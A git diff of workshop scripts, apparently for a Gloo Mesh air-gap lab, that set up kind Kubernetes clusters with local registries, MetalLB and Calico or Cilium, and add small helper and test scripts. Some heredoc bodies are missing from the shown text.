metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +curl -s https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml | sed 's/Fail/Ignore/' | kubectl --context=kind-kind${number} apply -f - + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null +./istio-*/bin/istioctl --context cluster1 pc all -n istio-gateways deploy/istio-ingressgateway -o json > /tmp/current-output +json-diff /tmp/previous-output /tmp/current-output diff --git a/gloo-mesh/platform/2-4/airgap/default/scripts/md-to-bash.sh b/gloo-mesh/platform/2-4/airgap/default/scripts/md-to-bash.sh new file mode 100755 index 0000000000..30b6a1f93d --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/scripts/md-to-bash.sh @@ -0,0 +1,3 @@ +#!/usr/bin/env bash +echo "source /root/.env 2>/dev/null || true" +sed -n '/```bash/,/```/p; //p' | egrep -v '```|' | sed '/#IGNORE_ME/d' diff --git a/gloo-mesh/platform/2-4/airgap/default/scripts/register-domain.sh b/gloo-mesh/platform/2-4/airgap/default/scripts/register-domain.sh new file mode 100755 index 0000000000..903bd0b714 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/scripts/register-domain.sh @@ -0,0 +1,25 @@ +#!/usr/bin/env bash + +# Check if the correct number of arguments is provided +if [ "$#" -ne 2 ]; then + echo "Usage: $0 " + exit 1 +fi + +# Variables +hostname="$1" +new_ip="$2" +hosts_file="/etc/hosts" + +# Check if the entry already exists +if grep -q "$hostname" "$hosts_file"; then + # Update the existing entry with the new IP + tempfile=$(mktemp) + sed "s/^.*$hostname/$new_ip $hostname/" "$hosts_file" > $tempfile + sudo mv "$tempfile" "$hosts_file" + echo "Updated $hostname in $hosts_file with new IP: $new_ip" +else + # Add a new entry if it doesn't exist + echo "$new_ip $hostname" | sudo tee -a "$hosts_file" > /dev/null + echo "Added $hostname to $hosts_file with IP: $new_ip" +fi diff --git a/gloo-mesh/platform/2-4/airgap/default/scripts/snapdiff.sh b/gloo-mesh/platform/2-4/airgap/default/scripts/snapdiff.sh new file mode 100755 index 0000000000..51786826eb --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/scripts/snapdiff.sh @@ -0,0 +1,6 @@ +mv /tmp/current-output /tmp/previous-output 2>/dev/null +pod=$(kubectl --context ${MGMT} -n gloo-mesh get pods -l app=gloo-mesh-mgmt-server -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${MGMT} -n gloo-mesh debug -q -i ${pod} --image=curlimages/curl -- curl -s http://localhost:9091/snapshots/output | jq '.translator | . as $root | ($root | keys[]) as $namespace | ($root[$namespace] | keys[]) as $parent | if $root[$namespace][$parent].Outputs then (($root[$namespace][$parent].Outputs | keys[]) as $object | ($object | split(",")) as $arr | {apiVersion: $arr[0], kind: ($arr[1] |split("=")[1])} + $root[$namespace][$parent].Outputs[$object][]) else empty end' | jq --slurp > /tmp/current-output +array1=$(cat /tmp/previous-output | jq -e '') +array2=$(cat /tmp/current-output | jq -e '') +jq -n --argjson array1 "$array1" --argjson array2 "$array2" '{"array1": $array1,"array2":$array2} | .array2-.array1' | docker run -i --rm mikefarah/yq -P '.' \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/tests/can-resolve.test.js.liquid b/gloo-mesh/platform/2-4/airgap/default/tests/can-resolve.test.js.liquid new file mode 100644 index 0000000000..7d1163da97 --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/tests/can-resolve.test.js.liquid @@ -0,0 +1,17 @@ +const dns = require('dns'); +const chaiHttp = require("chai-http"); +const chai = require("chai"); +const expect = chai.expect; +chai.use(chaiHttp); +const { waitOnFailedTest } = require('./tests/utils'); + +afterEach(function(done) { waitOnFailedTest(done, this.currentTest.currentRetry())}); + +describe("Address '" + process.env.{{ to_resolve }} + "' can be resolved in DNS", () => { + it(process.env.{{ to_resolve }} + ' can be resolved', (done) => { + return dns.lookup(process.env.{{ to_resolve }}, (err, address, family) => { + expect(address).to.be.an.ip; + done(); + }); + }); +}); \ No newline at end of file diff --git a/gloo-mesh/platform/2-4/airgap/default/tests/chai-exec.js b/gloo-mesh/platform/2-4/airgap/default/tests/chai-exec.js new file mode 100644 index 0000000000..f454d80bbe --- /dev/null +++ b/gloo-mesh/platform/2-4/airgap/default/tests/chai-exec.js @@ -0,0 +1,110 @@ +const jsYaml = require('js-yaml'); +const deepObjectDiff = require('deep-object-diff'); +const chaiExec = require("@jsdevtools/chai-exec"); +const chai = require("chai"); +const expect = chai.expect; +const should = chai.should(); +chai.use(chaiExec); +const utils = require('./utils'); + +global = { + checkKubernetesObject: async ({ context, namespace, kind, k8sObj, yaml }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get " + kind + " " + k8sObj + " -o json"; + let cli = chaiExec(command); + let json = jsYaml.load(yaml) + + cli.should.exit.with.code(0); + cli.stderr.should.be.empty; + let data = JSON.parse(cli.stdout); + let diff = deepObjectDiff.detailedDiff(json, data); + let expectedObject = false; + console.log(Object.keys(diff.deleted).length); + if(Object.keys(diff.updated).length === 0 && Object.keys(diff.deleted).length === 0) { + expectedObject = true; + } + expect(expectedObject, "The following object can't be found or is not as expected:\n" + yaml).to.be.true; + }, + checkDeployment: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = JSON.parse(cli.stdout.slice(1,-1)).replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + k8sObj + " in " + context + " not ready..."); + await utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }, + checkDeploymentsWithLabels: async ({ context, namespace, labels, instances }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get deploy -l " + labels + " -o jsonpath='{.items}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let deployments = JSON.parse(cli.stdout.slice(1,-1)); + expect(deployments).to.have.lengthOf(instances); + deployments.forEach((deployment) => { + let readyReplicas = deployment.status.readyReplicas || 0; + let replicas = deployment.status.replicas; + if (readyReplicas != replicas) { + console.log(" ----> " + deployment.metadata.name + " in " + context + " not ready..."); + utils.sleep(1000); + } + cli.should.exit.with.code(0); + readyReplicas.should.equal(replicas); + }); + }, + checkStatefulSet: async ({ context, namespace, k8sObj }) => { + let command = "kubectl --context " + context + " -n " + namespace + " get sts " + k8sObj + " -o jsonpath='{.status}'"; + let cli = chaiExec(command); + cli.stderr.should.be.empty; + let readyReplicas = JSON.parse(cli.stdout.slice(1,-1)).readyReplicas || 0; + let replicas = 